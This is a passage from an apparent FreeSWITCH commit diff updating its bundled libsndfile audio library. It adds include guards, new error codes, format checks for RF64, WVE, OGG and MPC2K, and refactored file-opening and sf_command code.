-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 2df2316e-8f9d-4860-bba7-f3c16c63eed3
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/sfendian.h (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/sfendian.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/sfendian.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -16,6 +16,9 @@
 ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 */
 
+#ifndef SFENDIAN_INCLUDED
+#define SFENDIAN_INCLUDED
+
 #include "sfconfig.h"
 
 #if HAVE_STDINT_H
@@ -247,10 +250,5 @@
 {	endswap_int64_t_copy ((int64_t *) dest, (const int64_t *) src, len) ;
 } /* endswap_double_copy */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: f0c5cd54-42d3-4237-90ec-11fe24995de7
-*/
+#endif /* SFENDIAN_INCLUDED */
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/sndfile.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/sndfile.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/sndfile.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -28,6 +28,25 @@
 
 #define		SNDFILE_MAGICK	0x1234C0DE
 
+#ifdef __APPLE__
+	/*
+	**	Detect if a compile for a universal binary is being attempted and barf if it is.
+	**	See the URL below for the rationale.
+	*/
+	#ifdef __BIG_ENDIAN__
+		#if (CPU_IS_LITTLE_ENDIAN == 1)
+			#error "Universal binary compile detected. See http://www.mega-nerd.com/libsndfile/FAQ.html#Q018"
+		#endif
+	#endif
+
+	#ifdef __LITTLE_ENDIAN__
+		#if (CPU_IS_BIG_ENDIAN == 1)
+			#error "Universal binary compile detected. See http://www.mega-nerd.com/libsndfile/FAQ.html#Q018"
+		#endif
+	#endif
+#endif
+
+
 typedef struct
 {	int 		error ;
 	const char	*str ;
@@ -44,6 +63,8 @@
 	{	SF_ERR_UNSUPPORTED_ENCODING	, "Supported file format but unsupported encoding." },
 
 	/* Private error values and their associated strings. */
+	{	SFE_ZERO_MAJOR_FORMAT	, "Error : major format is 0." },
+	{	SFE_ZERO_MINOR_FORMAT	, "Error : major format is 0." },
 	{	SFE_BAD_FILE			, "File does not exist or is not a regular file (possibly a pipe?)." },
 	{	SFE_BAD_FILE_READ		, "File exists but no data could be read." },
 	{	SFE_OPEN_FAILED			, "Could not open file." },
@@ -61,22 +82,23 @@
 	{	SFE_UNKNOWN_FORMAT		, "File contains data in an unknown format." },
 	{	SFE_NOT_READMODE		, "Read attempted on file currently open for write." },
 	{	SFE_NOT_WRITEMODE		, "Write attempted on file currently open for read." },
-	{	SFE_BAD_MODE_RW			, "This file format does not support read/write mode." },
+	{	SFE_BAD_MODE_RW			, "Error : This file format does not support read/write mode." },
 	{	SFE_BAD_SF_INFO			, "Internal error : SF_INFO struct incomplete." },
 	{	SFE_BAD_OFFSET			, "Error : supplied offset beyond end of file." },
 	{	SFE_NO_EMBED_SUPPORT	, "Error : embedding not supported for this file format." },
 	{	SFE_NO_EMBEDDED_RDWR	, "Error : cannot open embedded file read/write." },
 	{	SFE_NO_PIPE_WRITE		, "Error : this file format does not support pipe write." },
-	{	SFE_BAD_RDWR_FORMAT		, "Attempted to open read only format for RDWR." },
 	{	SFE_BAD_VIRTUAL_IO		, "Error : bad pointer on SF_VIRTUAL_IO struct." },
+	{	SFE_BAD_BROADCAST_INFO_SIZE, "Error : badd SF_BROADCAST_INFO_SIZE." },
 
 	{	SFE_INTERLEAVE_MODE		, "Attempt to write to file with non-interleaved data." },
 	{	SFE_INTERLEAVE_SEEK		, "Bad karma in seek during interleave read operation." },
 	{	SFE_INTERLEAVE_READ		, "Bad karma in read during interleave read operation." },
 
 	{	SFE_INTERNAL			, "Unspecified internal error." },
-	{	SFE_BAD_CONTROL_CMD		, "Bad command passed to function sf_command()." },
+	{	SFE_BAD_COMMAND_PARAM	, "Bad parameter passed to function sf_command." },
 	{	SFE_BAD_ENDIAN			, "Bad endian-ness. Try default endian-ness" },
+	{	SFE_CHANNEL_COUNT_ZERO	, "Channel count is zero." },
 	{	SFE_CHANNEL_COUNT		, "Too many channels specified." },
 
 	{	SFE_BAD_SEEK			, "Internal psf_fseek() failed." },
@@ -89,6 +111,7 @@
 	{	SFE_OPEN_PIPE_RDWR		, "Error : attempt toopen a pipe in read/write mode." },
 	{	SFE_RDWR_POSITION		, "Error on RDWR position (cryptic)." },
 	{	SFE_RDWR_BAD_HEADER		, "Error : Cannot open file in read/write mode due to string data in header." },
+	{	SFE_CMD_HAS_DATA		, "Error : Command fails because file already has audio data." },
 
 	{	SFE_STR_NO_SUPPORT		, "Error : File type does not support string data." },
 	{	SFE_STR_NOT_WRITE		, "Error : Trying to set a string when file is not in write mode." },
@@ -101,8 +124,9 @@
 
 	{	SFE_WAV_NO_RIFF			, "Error in WAV file. No 'RIFF' chunk marker." },
 	{	SFE_WAV_NO_WAVE			, "Error in WAV file. No 'WAVE' chunk marker." },
-	{	SFE_WAV_NO_FMT			, "Error in WAV file. No 'fmt ' chunk marker." },
-	{	SFE_WAV_FMT_SHORT		, "Error in WAV file. Short 'fmt ' chunk." },
+	{	SFE_WAV_NO_FMT			, "Error in WAV/W64/RF64 file. No 'fmt ' chunk marker." },
+	{	SFE_WAV_BAD_FMT			, "Error in WAV/W64/RF64 file. Malformed 'fmt ' chunk." },
+	{	SFE_WAV_FMT_SHORT		, "Error in WAV/W64/RF64 file. Short 'fmt ' chunk." },
 
 	{	SFE_WAV_BAD_FACT		, "Error in WAV file. 'fact' chunk out of place." },
 	{	SFE_WAV_BAD_PEAK		, "Error in WAV file. Bad 'PEAK' chunk." },
@@ -173,27 +197,19 @@
 	{	SFE_IRCAM_UNKNOWN_FORMAT, "Error in IRCAM file, unknow encoding format." },
 
 	{	SFE_W64_64_BIT			, "Error in W64 file, file contains 64 bit offset." },
-
 	{	SFE_W64_NO_RIFF			, "Error in W64 file. No 'riff' chunk marker." },
 	{	SFE_W64_NO_WAVE			, "Error in W64 file. No 'wave' chunk marker." },
-	{	SFE_W64_NO_FMT			, "Error in W64 file. No 'fmt ' chunk marker." },
 	{	SFE_W64_NO_DATA			, "Error in W64 file. No 'data' chunk marker." },
-
-	{	SFE_W64_FMT_SHORT		, "Error in W64 file. Short 'fmt ' chunk." },
-	{	SFE_W64_FMT_TOO_BIG		, "Error in W64 file. 'fmt ' chunk too large." },
-
 	{	SFE_W64_ADPCM_NOT4BIT	, "Error in ADPCM W64 file. Invalid bit width." },
 	{	SFE_W64_ADPCM_CHANNELS	, "Error in ADPCM W64 file. Invalid number of channels." },
 	{	SFE_W64_GSM610_FORMAT	, "Error in GSM610 W64 file. Invalid format chunk." },
 
 	{	SFE_MAT4_BAD_NAME		, "Error in MAT4 file. No variable name." },
 	{	SFE_MAT4_NO_SAMPLERATE	, "Error in MAT4 file. No sample rate." },
-	{	SFE_MAT4_ZERO_CHANNELS	, "Error in MAT4 file. Channel count is zero." },
 
 	{	SFE_MAT5_BAD_ENDIAN		, "Error in MAT5 file. Not able to determine endian-ness." },
 	{	SFE_MAT5_NO_BLOCK		, "Error in MAT5 file. Bad block structure." },
 	{	SFE_MAT5_SAMPLE_RATE	, "Error in MAT5 file. Not able to determine sample rate." },
-	{	SFE_MAT5_ZERO_CHANNELS	, "Error in MAT5 file. Channel count is zero." },
 
 	{	SFE_PVF_NO_PVF1			, "Error in PVF file. No PVF1 marker." },
 	{	SFE_PVF_BAD_HEADER		, "Error in PVF file. Bad header." },
@@ -223,9 +239,16 @@
 	{	SFE_FLAC_BAD_SAMPLE_RATE, "Error : flac does not support this sample rate." },
 	{	SFE_FLAC_UNKOWN_ERROR	, "Error : unkown error in flac decoder." },
 
+	{	SFE_WVE_NOT_WVE			, "Error : not a WVE file." },
+	{	SFE_WVE_NO_PIPE			, "Error : not able to operate on WVE files over a pipe." },
+
 	{	SFE_DWVW_BAD_BITWIDTH	, "Error : Bad bit width for DWVW encoding. Must be 12, 16 or 24." },
 	{	SFE_G72X_NOT_MONO		, "Error : G72x encoding does not support more than 1 channel." },
 
+	{	SFE_VORBIS_ENCODER_BUG	, "Error : Sample rate chosen is known to trigger a Vorbis encoder bug on this CPU." },
+
+	{	SFE_RF64_NOT_RF64		, "Error : Not an RF64 file." },
+
 	{	SFE_MAX_ERROR			, "Maximum error number." },
 	{	SFE_MAX_ERROR + 1		, NULL }
 } ;
@@ -240,7 +263,7 @@
 static void	save_header_info (SF_PRIVATE *psf) ;
 static void	copy_filename (SF_PRIVATE *psf, const char *path) ;
 static int	psf_close (SF_PRIVATE *psf) ;
-static int	psf_open_file (SF_PRIVATE *psf, int mode, SF_INFO *sfinfo) ;
+static SNDFILE * psf_open_file (SF_PRIVATE *psf, int mode, SF_INFO *sfinfo) ;
 
 static int	try_resource_fork (SF_PRIVATE * psf, int mode) ;
 
@@ -280,7 +303,6 @@
 SNDFILE*
 sf_open	(const char *path, int mode, SF_INFO *sfinfo)
 {	SF_PRIVATE 	*psf ;
-	int			error = 0 ;
 
 	if ((psf = calloc (1, sizeof (SF_PRIVATE))) == NULL)
 	{	sf_errno = SFE_MALLOC_FAILED ;
@@ -295,33 +317,18 @@
 	copy_filename (psf, path) ;
 
 	if (strcmp (path, "-") == 0)
-		error = psf_set_stdio (psf, mode) ;
+		psf->error = psf_set_stdio (psf, mode) ;
 	else
-		error = psf_fopen (psf, path, mode) ;
+		psf->error = psf_fopen (psf, path, mode) ;
 
-	if (error == 0)
-		error = psf_open_file (psf, mode, sfinfo) ;
-
-	if (error)
-	{	sf_errno = error ;
-		if (error == SFE_SYSTEM)
-			LSF_SNPRINTF (sf_syserr, sizeof (sf_syserr), "%s", psf->syserr) ;
-		LSF_SNPRINTF (sf_logbuffer, sizeof (sf_logbuffer), "%s", psf->logbuffer) ;
-		psf_close (psf) ;
-		return NULL ;
-		} ;
-
-	memcpy (sfinfo, &(psf->sf), sizeof (SF_INFO)) ;
-
-	return (SNDFILE*) psf ;
+	return psf_open_file (psf, mode, sfinfo) ;
 } /* sf_open */
 
 SNDFILE*
 sf_open_fd	(int fd, int mode, SF_INFO *sfinfo, int close_desc)
 {	SF_PRIVATE 	*psf ;
-	int			error ;
 
-	if ((sfinfo->format & SF_FORMAT_TYPEMASK) == SF_FORMAT_SD2)
+	if ((SF_CONTAINER (sfinfo->format)) == SF_FORMAT_SD2)
 	{	sf_errno = SFE_SD2_FD_DISALLOWED ;
 		return	NULL ;
 		} ;
@@ -340,43 +347,29 @@
 	if (! close_desc)
 		psf->do_not_close_descriptor = SF_TRUE ;
 
-	error = psf_open_file (psf, mode, sfinfo) ;
-
-	if (error)
-	{	sf_errno = error ;
-		if (error == SFE_SYSTEM)
-			LSF_SNPRINTF (sf_syserr, sizeof (sf_syserr), "%s", psf->syserr) ;
-		LSF_SNPRINTF (sf_logbuffer, sizeof (sf_logbuffer), "%s", psf->logbuffer) ;
-		psf_close (psf) ;
-		return NULL ;
-		} ;
-
-	memcpy (sfinfo, &(psf->sf), sizeof (SF_INFO)) ;
-
-	return (SNDFILE*) psf ;
+	return psf_open_file (psf, mode, sfinfo) ;
 } /* sf_open_fd */
 
 SNDFILE*
 sf_open_virtual	(SF_VIRTUAL_IO *sfvirtual, int mode, SF_INFO *sfinfo, void *user_data)
 {	SF_PRIVATE 	*psf ;
-	int			error = 0 ;
 
 	/* Make sure we have a valid set ot virtual pointers. */
 	if (sfvirtual->get_filelen == NULL || sfvirtual->seek == NULL || sfvirtual->tell == NULL)
 	{	sf_errno = SFE_BAD_VIRTUAL_IO ;
-		LSF_SNPRINTF (sf_logbuffer, sizeof (sf_logbuffer), "Bad vio_get_filelen / vio_seek / vio_tell in SF_VIRTUAL_IO struct.\n") ;
+		snprintf (sf_logbuffer, sizeof (sf_logbuffer), "Bad vio_get_filelen / vio_seek / vio_tell in SF_VIRTUAL_IO struct.\n") ;
 		return NULL ;
 		} ;
 
 	if ((mode == SFM_READ || mode == SFM_RDWR) && sfvirtual->read == NULL)
 	{	sf_errno = SFE_BAD_VIRTUAL_IO ;
-		LSF_SNPRINTF (sf_logbuffer, sizeof (sf_logbuffer), "Bad vio_read in SF_VIRTUAL_IO struct.\n") ;
+		snprintf (sf_logbuffer, sizeof (sf_logbuffer), "Bad vio_read in SF_VIRTUAL_IO struct.\n") ;
 		return NULL ;
 		} ;
 
 	if ((mode == SFM_WRITE || mode == SFM_RDWR) && sfvirtual->write == NULL)
 	{	sf_errno = SFE_BAD_VIRTUAL_IO ;
-		LSF_SNPRINTF (sf_logbuffer, sizeof (sf_logbuffer), "Bad vio_write in SF_VIRTUAL_IO struct.\n") ;
+		snprintf (sf_logbuffer, sizeof (sf_logbuffer), "Bad vio_write in SF_VIRTUAL_IO struct.\n") ;
 		return NULL ;
 		} ;
 
@@ -393,20 +386,7 @@
 
 	psf->mode = mode ;
 
-	error = psf_open_file (psf, mode, sfinfo) ;
-
-	if (error)
-	{	sf_errno = error ;
-		if (error == SFE_SYSTEM)
-			LSF_SNPRINTF (sf_syserr, sizeof (sf_syserr), "%s", psf->syserr) ;
-		LSF_SNPRINTF (sf_logbuffer, sizeof (sf_logbuffer), "%s", psf->logbuffer) ;
-		psf_close (psf) ;
-		return NULL ;
-		} ;
-
-	memcpy (sfinfo, &(psf->sf), sizeof (SF_INFO)) ;
-
-	return (SNDFILE*) psf ;
+	return psf_open_file (psf, mode, sfinfo) ;
 } /* sf_open_virtual */
 
 int
@@ -488,10 +468,7 @@
 {	SF_PRIVATE	*psf ;
 
 	if (sndfile == NULL)
-	{	if (sf_error != 0)
-			return sf_errno ;
-		return 0 ;
-		} ;
+		return sf_errno ;
 
 	VALIDATE_SNDFILE_AND_ASSIGN_PSF (sndfile, psf, 0) ;
 
@@ -540,7 +517,7 @@
 		errnum = psf->error ;
 		} ;
 
-	LSF_SNPRINTF (str, maxlen, "%s", sf_error_number (errnum)) ;
+	snprintf (str, maxlen, "%s", sf_error_number (errnum)) ;
 
 	return SFE_NO_ERROR ;
 } /* sf_error_str */
@@ -552,8 +529,8 @@
 sf_format_check	(const SF_INFO *info)
 {	int	subformat, endian ;
 
-	subformat = info->format & SF_FORMAT_SUBMASK ;
-	endian = info->format & SF_FORMAT_ENDMASK ;
+	subformat = SF_CODEC (info->format) ;
+	endian = SF_ENDIAN (info->format) ;
 
 	/* This is the place where each file format can check if the suppiled
 	** SF_INFO struct is valid.
@@ -566,7 +543,7 @@
 	if (info->samplerate < 0)
 		return 0 ;
 
-	switch (info->format & SF_FORMAT_TYPEMASK)
+	switch (SF_CONTAINER (info->format))
 	{	case SF_FORMAT_WAV :
 		case SF_FORMAT_WAVEX :
 				/* WAV now allows both endian, RIFF or RIFX (little or big respectively) */
@@ -791,6 +768,43 @@
 					return 1 ;
 				break ;
 
+		case SF_FORMAT_WVE :
+				/* WVE is strictly big endian. */
+				if (endian == SF_ENDIAN_BIG || endian == SF_ENDIAN_CPU)
+					return 0 ;
+				if (info->channels > 1)
+					return 0 ;
+				if (subformat == SF_FORMAT_ALAW)
+					return 1 ;
+				break ;
+
+		case SF_FORMAT_OGG :
+				if (subformat == SF_FORMAT_VORBIS)
+					return 1 ;
+				break ;
+
+		case SF_FORMAT_MPC2K :
+				/* MPC2000 is strictly little endian. */
+				if (endian == SF_ENDIAN_BIG || endian == SF_ENDIAN_CPU)
+					return 0 ;
+				if (info->channels > 2)
+					return 0 ;
+				if (subformat == SF_FORMAT_PCM_16)
+					return 1 ;
+				break ;
+
+		case SF_FORMAT_RF64 :
+				if (endian == SF_ENDIAN_BIG || endian == SF_ENDIAN_CPU)
+					return 0 ;
+				if (subformat == SF_FORMAT_PCM_U8 || subformat == SF_FORMAT_PCM_16)
+					return 1 ;
+				if (subformat == SF_FORMAT_PCM_24 || subformat == SF_FORMAT_PCM_32)
+					return 1 ;
+				if (subformat == SF_FORMAT_ULAW || subformat == SF_FORMAT_ALAW)
+					return 1 ;
+				if (subformat == SF_FORMAT_FLOAT || subformat == SF_FORMAT_DOUBLE)
+					return 1 ;
+				break ;
 		default : break ;
 		} ;
 
@@ -802,63 +816,66 @@
 
 int
 sf_command	(SNDFILE *sndfile, int command, void *data, int datasize)
-{	SF_PRIVATE 	*psf = NULL ;
+{	SF_PRIVATE *psf = (SF_PRIVATE *) sndfile ;
 	int old_value ;
 
 	/* This set of commands do not need the sndfile parameter. */
 	switch (command)
 	{	case SFC_GET_LIB_VERSION :
 			if (data == NULL)
-				return (psf->error = SFE_BAD_CONTROL_CMD) ;
+			{	if (psf)
+					psf->error = SFE_BAD_COMMAND_PARAM ;
+				return SFE_BAD_COMMAND_PARAM ;
+				} ;
 			if (ENABLE_EXPERIMENTAL_CODE)
-				LSF_SNPRINTF (data, datasize, "%s-%s-exp", PACKAGE_NAME, PACKAGE_VERSION) ;
+				snprintf (data, datasize, "%s-%s-exp", PACKAGE_NAME, PACKAGE_VERSION) ;
 			else
-				LSF_SNPRINTF (data, datasize, "%s-%s", PACKAGE_NAME, PACKAGE_VERSION) ;
+				snprintf (data, datasize, "%s-%s", PACKAGE_NAME, PACKAGE_VERSION) ;
 			return strlen (data) ;
 
 		case SFC_GET_SIMPLE_FORMAT_COUNT :
 			if (data == NULL || datasize != SIGNED_SIZEOF (int))
-				return (sf_errno = SFE_BAD_CONTROL_CMD) ;
+				return (sf_errno = SFE_BAD_COMMAND_PARAM) ;
 			*((int*) data) = psf_get_format_simple_count () ;
 			return 0 ;
 
 		case SFC_GET_SIMPLE_FORMAT :
 			if (data == NULL || datasize != SIGNED_SIZEOF (SF_FORMAT_INFO))
-				return (sf_errno = SFE_BAD_CONTROL_CMD) ;
+				return (sf_errno = SFE_BAD_COMMAND_PARAM) ;
 			return psf_get_format_simple (data) ;
 
 		case SFC_GET_FORMAT_MAJOR_COUNT :
 			if (data == NULL || datasize != SIGNED_SIZEOF (int))
-				return (sf_errno = SFE_BAD_CONTROL_CMD) ;
+				return (sf_errno = SFE_BAD_COMMAND_PARAM) ;
 			*((int*) data) = psf_get_format_major_count () ;
 			return 0 ;
 
 		case SFC_GET_FORMAT_MAJOR :
 			if (data == NULL || datasize != SIGNED_SIZEOF (SF_FORMAT_INFO))
-				return (sf_errno = SFE_BAD_CONTROL_CMD) ;
+				return (sf_errno = SFE_BAD_COMMAND_PARAM) ;
 			return psf_get_format_major (data) ;
 
 		case SFC_GET_FORMAT_SUBTYPE_COUNT :
 			if (data == NULL || datasize != SIGNED_SIZEOF (int))
-				return (sf_errno = SFE_BAD_CONTROL_CMD) ;
+				return (sf_errno = SFE_BAD_COMMAND_PARAM) ;
 			*((int*) data) = psf_get_format_subtype_count () ;
 			return 0 ;
 
 		case SFC_GET_FORMAT_SUBTYPE :
 			if (data == NULL || datasize != SIGNED_SIZEOF (SF_FORMAT_INFO))
-				return (sf_errno = SFE_BAD_CONTROL_CMD) ;
+				return (sf_errno = SFE_BAD_COMMAND_PARAM) ;
 			return psf_get_format_subtype (data) ;
 
 		case SFC_GET_FORMAT_INFO :
 			if (data == NULL || datasize != SIGNED_SIZEOF (SF_FORMAT_INFO))
-				return (sf_errno = SFE_BAD_CONTROL_CMD) ;
+				return (sf_errno = SFE_BAD_COMMAND_PARAM) ;
 			return psf_get_format_info (data) ;
 		} ;
 
 	if (sndfile == NULL && command == SFC_GET_LOG_INFO)
 	{	if (data == NULL)
-			return (psf->error = SFE_BAD_CONTROL_CMD) ;
-		LSF_SNPRINTF (data, datasize, "%s", sf_logbuffer) ;
+			return (psf->error = SFE_BAD_COMMAND_PARAM) ;
+		snprintf (data, datasize, "%s", sf_logbuffer) ;
 		return strlen (data) ;
 		} ;
 
@@ -870,6 +887,12 @@
 			psf->norm_float = (datasize) ? SF_TRUE : SF_FALSE ;
 			return old_value ;
 
+		case SFC_GET_CURRENT_SF_INFO :
+			if (data == NULL || datasize != SIGNED_SIZEOF (SF_INFO))
+				return (sf_errno = SFE_BAD_COMMAND_PARAM) ;
+			memcpy (data, &psf->sf, sizeof (SF_INFO)) ;
+			break ;
+
 		case SFC_SET_NORM_DOUBLE :
 			old_value = psf->norm_double ;
 			psf->norm_double = (datasize) ? SF_TRUE : SF_FALSE ;
@@ -889,14 +912,19 @@
 				psf->float_max = psf_calc_signal_max (psf, SF_FALSE) ;
 			return old_value ;
 
+		case SFC_SET_SCALE_INT_FLOAT_WRITE :
+			old_value = psf->scale_int_float ;
+			psf->scale_int_float = (datasize != 0) ? SF_TRUE : SF_FALSE ;
+			return old_value ;
+
 		case SFC_SET_ADD_PEAK_CHUNK :
-			{	int format = psf->sf.format & SF_FORMAT_TYPEMASK ;
+			{	int format = SF_CONTAINER (psf->sf.format) ;
 
 				/* Only WAV and AIFF support the PEAK chunk. */
 				if (format != SF_FORMAT_WAV && format != SF_FORMAT_WAVEX && format != SF_FORMAT_AIFF)
 					return SF_FALSE ;
 
-				format = psf->sf.format & SF_FORMAT_SUBMASK ;
+				format = SF_CODEC (psf->sf.format) ;
 
 				/* Only files containg the following data types support the PEAK chunk. */
 				if (format != SF_FORMAT_FLOAT && format != SF_FORMAT_DOUBLE)
@@ -904,11 +932,13 @@
 
 				} ;
 			/* Can only do this is in SFM_WRITE mode. */
-			if (psf->mode != SFM_WRITE)
+			if (psf->mode != SFM_WRITE && psf->mode != SFM_RDWR)
 				return SF_FALSE ;
 			/* If data has already been written this must fail. */
 			if (psf->have_written)
+			{	psf->error = SFE_CMD_HAS_DATA ;
 				return SF_FALSE ;
+				} ;
 			/* Everything seems OK, so set psf->has_peak and re-write header. */
 			if (datasize == SF_FALSE && psf->peak_info != NULL)
 			{	free (psf->peak_info) ;
@@ -916,51 +946,55 @@
 				}
 			else if (psf->peak_info == NULL)
 			{	psf->peak_info = peak_info_calloc (psf->sf.channels) ;
-				psf->peak_info->peak_loc = SF_PEAK_START ;
+				if (psf->peak_info != NULL)
+					psf->peak_info->peak_loc = SF_PEAK_START ;
 				} ;
 
 			if (psf->write_header)
 				psf->write_header (psf, SF_TRUE) ;
 			return datasize ;
 
+		case SFC_SET_ADD_HEADER_PAD_CHUNK :
+			return SF_FALSE ;
+
 		case SFC_GET_LOG_INFO :
 			if (data == NULL)
-				return (psf->error = SFE_BAD_CONTROL_CMD) ;
-			LSF_SNPRINTF (data, datasize, "%s", psf->logbuffer) ;
+				return SFE_BAD_COMMAND_PARAM ;
+			snprintf (data, datasize, "%s", psf->logbuffer) ;
 			break ;
 
 		case SFC_CALC_SIGNAL_MAX :
 			if (data == NULL || datasize != sizeof (double))
-				return (psf->error = SFE_BAD_CONTROL_CMD) ;
+				return (psf->error = SFE_BAD_COMMAND_PARAM) ;
 			*((double*) data) = psf_calc_signal_max (psf, SF_FALSE) ;
 			break ;
 
 		case SFC_CALC_NORM_SIGNAL_MAX :
 			if (data == NULL || datasize != sizeof (double))
-				return (psf->error = SFE_BAD_CONTROL_CMD) ;
+				return (psf->error = SFE_BAD_COMMAND_PARAM) ;
 			*((double*) data) = psf_calc_signal_max (psf, SF_TRUE) ;
 			break ;
 
 		case SFC_CALC_MAX_ALL_CHANNELS :
 			if (data == NULL || datasize != SIGNED_SIZEOF (double) * psf->sf.channels)
-				return (psf->error = SFE_BAD_CONTROL_CMD) ;
+				return (psf->error = SFE_BAD_COMMAND_PARAM) ;
 			return psf_calc_max_all_channels (psf, (double*) data, SF_FALSE) ;
 
 		case SFC_CALC_NORM_MAX_ALL_CHANNELS :
 			if (data == NULL || datasize != SIGNED_SIZEOF (double) * psf->sf.channels)
-				return (psf->error = SFE_BAD_CONTROL_CMD) ;
+				return (psf->error = SFE_BAD_COMMAND_PARAM) ;
 			return psf_calc_max_all_channels (psf, (double*) data, SF_TRUE) ;
 
 		case SFC_GET_SIGNAL_MAX :
 			if (data == NULL || datasize != sizeof (double))
-			{	psf->error = SFE_BAD_CONTROL_CMD ;
+			{	psf->error = SFE_BAD_COMMAND_PARAM ;
 				return SF_FALSE ;
 				} ;
 			return psf_get_signal_max (psf, (double *) data) ;
 
 		case SFC_GET_MAX_ALL_CHANNELS :
 			if (data == NULL || datasize != SIGNED_SIZEOF (double) * psf->sf.channels)
-			{	psf->error = SFE_BAD_CONTROL_CMD ;
+			{	psf->error = SFE_BAD_COMMAND_PARAM ;
 				return SF_FALSE ;
 				} ;
 			return psf_get_max_all_channels (psf, (double*) data) ;
@@ -986,7 +1020,7 @@
 
 		case SFC_SET_DITHER_ON_WRITE :
 			if (data == NULL || datasize != SIGNED_SIZEOF (SF_DITHER_INFO))
-				return (psf->error = SFE_BAD_CONTROL_CMD) ;
+				return (psf->error = SFE_BAD_COMMAND_PARAM) ;
 			memcpy (&psf->write_dither, data, sizeof (psf->write_dither)) ;
 			if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
 				dither_init (psf, SFM_WRITE) ;
@@ -994,7 +1028,7 @@
 
 		case SFC_SET_DITHER_ON_READ :
 			if (data == NULL || datasize != SIGNED_SIZEOF (SF_DITHER_INFO))
-				return (psf->error = SFE_BAD_CONTROL_CMD) ;
+				return (psf->error = SFE_BAD_COMMAND_PARAM) ;
 			memcpy (&psf->read_dither, data, sizeof (psf->read_dither)) ;
 			if (psf->mode == SFM_READ || psf->mode == SFM_RDWR)
 				dither_init (psf, SFM_READ) ;
@@ -1022,17 +1056,18 @@
 
 		case SFC_SET_RAW_START_OFFSET :
 			if (data == NULL || datasize != sizeof (sf_count_t))
-				return (psf->error = SFE_BAD_CONTROL_CMD) ;
-			if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_RAW)
-				return (psf->error = SFE_BAD_CONTROL_CMD) ;
+				return (psf->error = SFE_BAD_COMMAND_PARAM) ;
 
+			if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_RAW)
+				return (psf->error = SFE_BAD_COMMAND_PARAM) ;
+
 			psf->dataoffset = *((sf_count_t*) data) ;
 			sf_seek (sndfile, 0, SEEK_CUR) ;
 			break ;
 
 		case SFC_GET_EMBED_FILE_INFO :
 			if (data == NULL || datasize != sizeof (SF_EMBED_FILE_INFO))
-				return (psf->error = SFE_BAD_CONTROL_CMD) ;
+				return (psf->error = SFE_BAD_COMMAND_PARAM) ;
 
 			((SF_EMBED_FILE_INFO*) data)->offset = psf->fileoffset ;
 			((SF_EMBED_FILE_INFO*) data)->length = psf->filelength ;
@@ -1041,12 +1076,12 @@
 		/* Lite remove start */
 		case SFC_TEST_IEEE_FLOAT_REPLACE :
 			psf->ieee_replace = (datasize) ? SF_TRUE : SF_FALSE ;
-			if ((psf->sf.format & SF_FORMAT_SUBMASK) == SF_FORMAT_FLOAT)
+			if ((SF_CODEC (psf->sf.format)) == SF_FORMAT_FLOAT)
 				float32_init (psf) ;
-			else if ((psf->sf.format & SF_FORMAT_SUBMASK) == SF_FORMAT_DOUBLE)
+			else if ((SF_CODEC (psf->sf.format)) == SF_FORMAT_DOUBLE)
 				double64_init (psf) ;
 			else
-				return (psf->error = SFE_BAD_CONTROL_CMD) ;
+				return (psf->error = SFE_BAD_COMMAND_PARAM) ;
 			break ;
 		/* Lite remove end */
 
@@ -1059,47 +1094,63 @@
 
 		case SFC_GET_LOOP_INFO :
 			if (datasize != sizeof (SF_LOOP_INFO) || data == NULL)
+			{	psf->error = SFE_BAD_COMMAND_PARAM ;
 				return SF_FALSE ;
+				} ;
 			if (psf->loop_info == NULL)
 				return SF_FALSE ;
 			memcpy (data, psf->loop_info, sizeof (SF_LOOP_INFO)) ;
 			return SF_TRUE ;
 
 		case SFC_SET_BROADCAST_INFO :
-			{	int format = psf->sf.format & SF_FORMAT_TYPEMASK ;
+			{	int format = SF_CONTAINER (psf->sf.format) ;
 
 				/* Only WAV supports the BEXT (Broadcast) chunk. */
 				if (format != SF_FORMAT_WAV && format != SF_FORMAT_WAVEX)
 					return SF_FALSE ;
 				} ;
 
-			/* Can only do this is in SFM_WRITE mode. */
-			if (psf->mode != SFM_WRITE)
+			/* Only makes sense in SFM_WRITE or SFM_RDWR mode. */
+			if ((psf->mode != SFM_WRITE) && (psf->mode != SFM_RDWR))
 				return SF_FALSE ;
 			/* If data has already been written this must fail. */
-			if (psf->have_written)
+			if (psf->broadcast_var == NULL && psf->have_written)
+			{	psf->error = SFE_CMD_HAS_DATA ;
 				return SF_FALSE ;
+				} ;
 
+#if 0
 			if (psf->broadcast_info == NULL)
 				psf->broadcast_info = broadcast_info_alloc () ;
 
 			broadcast_info_copy (psf->broadcast_info, data) ;
-			broadcast_add_coding_history (psf->broadcast_info, psf->sf.channels, psf->sf.samplerate) ;
+			broadcast_add_coding_history (psf->broadcast_info, psf->sf.channels, psf->sf.samplerate, psf->sf.format) ;
+#else
+			broadcast_var_set (psf, data, datasize) ;
+#endif
 
 			if (psf->write_header)
 				psf->write_header (psf, SF_TRUE) ;
 			return SF_TRUE ;
 
 		case SFC_GET_BROADCAST_INFO :
